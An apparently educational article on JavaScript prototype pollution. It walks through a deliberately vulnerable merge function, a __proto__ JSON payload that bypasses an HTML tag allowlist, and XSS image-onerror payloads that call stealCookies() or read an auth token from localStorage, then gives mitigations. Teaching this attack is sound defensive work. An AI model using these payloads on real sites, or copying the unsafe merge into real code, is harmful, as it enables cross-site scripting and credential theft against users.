Safety is hard to get right. Many developers choose to offload their security concerns to specialized third-party services (Auth0, sanitization libraries, etc.) to make their code safer.
There are well-known vulnerabilities that most people recognize: SQL injection, XSS, buffer overflows, race conditions.
But some are more obscure—such as today's focus: Prototype Pollution.
Prototype Pollution is a JavaScript-specific vulnerability that can be triggered by running recursive object-merging functions on unsanitized user input.
Here's how it works:
Using a special key, __proto__
, an attacker can modify
the prototype of JavaScript objects at runtime.
function unsafeMerge(target, source) {
for (const attr in source) {
if (typeof target[attr] === "object" && typeof source[attr] === "object") {
unsafeMerge(
/** @type {Record<string, unknown>} */ (target[attr]),
/** @type {Record<string, unknown>} */ (source[attr]),
);
} else {
target[attr] = source[attr];
}
}
}
When the merge function is called, if it encounters the special
__proto__
key, JavaScript won't add it as a normal
property. Because target.__proto__
is a reference to
the prototype object, the function recurses and ends up modifying
the prototype instead of the target!
This allows the attacker to add or overwrite properties of the prototype object during runtime.
Overwriting the .toString
method with a primitive value
causes method calls to throw exceptions. This is effectively a
denial-of-service (DoS) vulnerability.
Even scarier is the possibility for an attacker to add default properties to all objects:
const containsAllowedTagsOnly = tagNames.every(
(tag) => TAG_ALLOWLIST[tag] === true, //Prototype chain traversal happens here!
);
Here's what happens: JavaScript attempts to access a property on the
allowlist object. If the object doesn't contain that key, JavaScript
continues up the prototype chain. If the prototype has such a key,
its value is returned. This continues until a value is found, or the
entire chain is traversed, returning undefined
.
If the prototype has been polluted, the allowlist is effectively bypassed—without any changes made to the allowlist itself.
const TAG_ALLOWLIST = Object.freeze({
b: true,
strong: true,
i: true,
em: true,
});
Prototype pollution usually results in DoS vulnerabilities. However, it can also pave the way for more serious issues like XSS.
Below this article is a special comment section where a limited set of HTML tags and attributes can be used to format text. How neat!
As we know, user-supplied HTML is dangerous, so a strict allowlist is used to validate it.
The allowlist is enforced both when a message is sent and received,
before its content is injected into the page using
.innerHTML
.
If an attacker manages to pollute the prototype in another user's
browser tab, they could bypass the allowlist entirely and use an
onerror
attribute on an image tag to automatically
execute a malicious script!
<img
src="x"
onerror="stealCookies()"
/>
To simulate an insecure WebSocket connection, the comment section dispatches and listens for custom DOM events carrying the message payload.
document.addEventListener("newMessage", receiveMessage);
/**
* @type {EventListener}
* @param {CustomEvent} event
*/
function receiveMessage(event) {
try {
/** @type {Record<number, Message>} */
const messageData = JSON.parse(event.detail);
const isMessageSafe = Object.values(messageData).every(({ message }) =>
isHTMLStringSafe(message),
);
if (isMessageSafe) {
unsafeMerge(globalAppState.messages, messageData); //Prototype pollution happens here!
renderMessages();
}
} catch (error) {
console.warn("Received incorrect JSON string.");
console.error(error);
}
}
While the HTML content is validated against the allowlist, the structure of the object itself is not. When a malicious payload is merged into the global application state, the prototype is polluted.
{
"0": {
"id": 0,
"senderId": "1",
"senderUsername": "bob",
"dateSent": "2025-03-11T09:28:00",
"message": "Prototype Pollution",
"__proto__": {
"img": true,
"onerror": true,
"src": true
}
}
}
Here's how to simulate sending a malicious payload to the fake WebSocket API from the console:
const prototypePollutionPayload =
'{"0": {"id": 0,"senderId": "1","senderUsername": "bob","dateSent": "2025-03-11T09:28:00","message": "Prototype Pollution","__proto__": { "img": true, "onerror": true, "src": true }}}';
document.dispatchEvent(
new CustomEvent("newMessage", {
detail: prototypePollutionPayload,
}),
);
Once the prototype is polluted, the allowlist check is bypassed. Arbitrary, self-executing scripts can now be sent to all online users who received the malicious message.
<img
src="x"
onerror="alert('Hacked!\nI just retrieved your authToken:\n'+localStorage.getItem('authToken'))"
/>
So how can we prevent this?
Always validate user input before doing anything else with it. This applies not only to prototype pollution but to all forms of input handling.
Use up-to-date utility libraries with well-tested functions that already protect against this vulnerability.
Consider using Object.create(null)
to create objects
without prototypes.
You can also use Set
and Map
, which don't
suffer from prototype inheritance.
Feel free to inspect this page's source—it's unminified and intentionally vulnerable. Use it as an example of what not to do.
Read more about prototype pollution here: